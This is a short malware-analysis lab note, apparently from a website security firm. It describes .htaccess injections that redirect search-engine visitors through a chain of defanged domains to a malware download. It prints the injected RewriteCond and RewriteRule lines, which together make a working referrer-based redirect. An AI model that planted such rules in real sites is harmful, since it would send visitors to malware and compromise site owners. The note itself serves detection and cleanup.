Secondtds.mooo[.]com .htaccess redirects

  • September 2, 2015
Labs Note

We are finding many sites infected with malicious redirects inside the .htaccess file, to secondtds.mooo[.]com/go.php?sid=3. That domain is a TDS (traffic controller) which redirects visitors to another website pushing your browser to download this malware: https://www.virustotal.com/en/file/0b6eab15961f92da95a0a4b0d55fee8a8bd0eb39fec1027aa43575802d7a199e/analysis/1441223870/

The redirect chain is:

secondtds.mooo[.]com
downserver.ignorelist[.]com
pastdownload[.]com
stds1new.computersoftwarelive[.]com
download.pastdownload[.]com
files.september-master-3[.]xyz

Here is the .htaccess content:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} go.mail.* [OR]
RewriteCond %{HTTP_REFERER}  .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER}  .*bing.* [OR]
RewriteCond %{HTTP_REFERER}  .*goto.* [OR]
RewriteCond %{HTTP_REFERER}  .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER}  .*nigma.* [OR]
RewriteCond %{HTTP_REFERER}  .*mamma.* [OR]
..
RewriteCond %{HTTP_REFERER}  .*aport.* [OR]
RewriteCond %{HTTP_REFERER}  .*search.* [OR]
RewriteCond %{HTTP_REFERER}  .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER}  .*dogpile.*
RewriteRule ^(.*)$ http://secondtds[.]mooo.com[/]go.php?sid=2 [R=301,L]

The attack is quite buggy and doesn’t check whether a site is already infected, thus multiple identical redirect rules in the same .htaccess file.

If you find this code, remove it right away!

Krasimir Konov is Sucuri's Malware Analyst who joined the company in 2014. Krasimir's main responsibilities include analyzing malicious code, signature creation and documentation of malware. His professional experience covers more than 10 years in the IT field, with nine years involved in IT/cyber security. When he’s not analyzing malware or writing Labs notes, you might find Krasimir riding his motorcycle and traveling the world. Connect with him on Twitter or LinkedIn.

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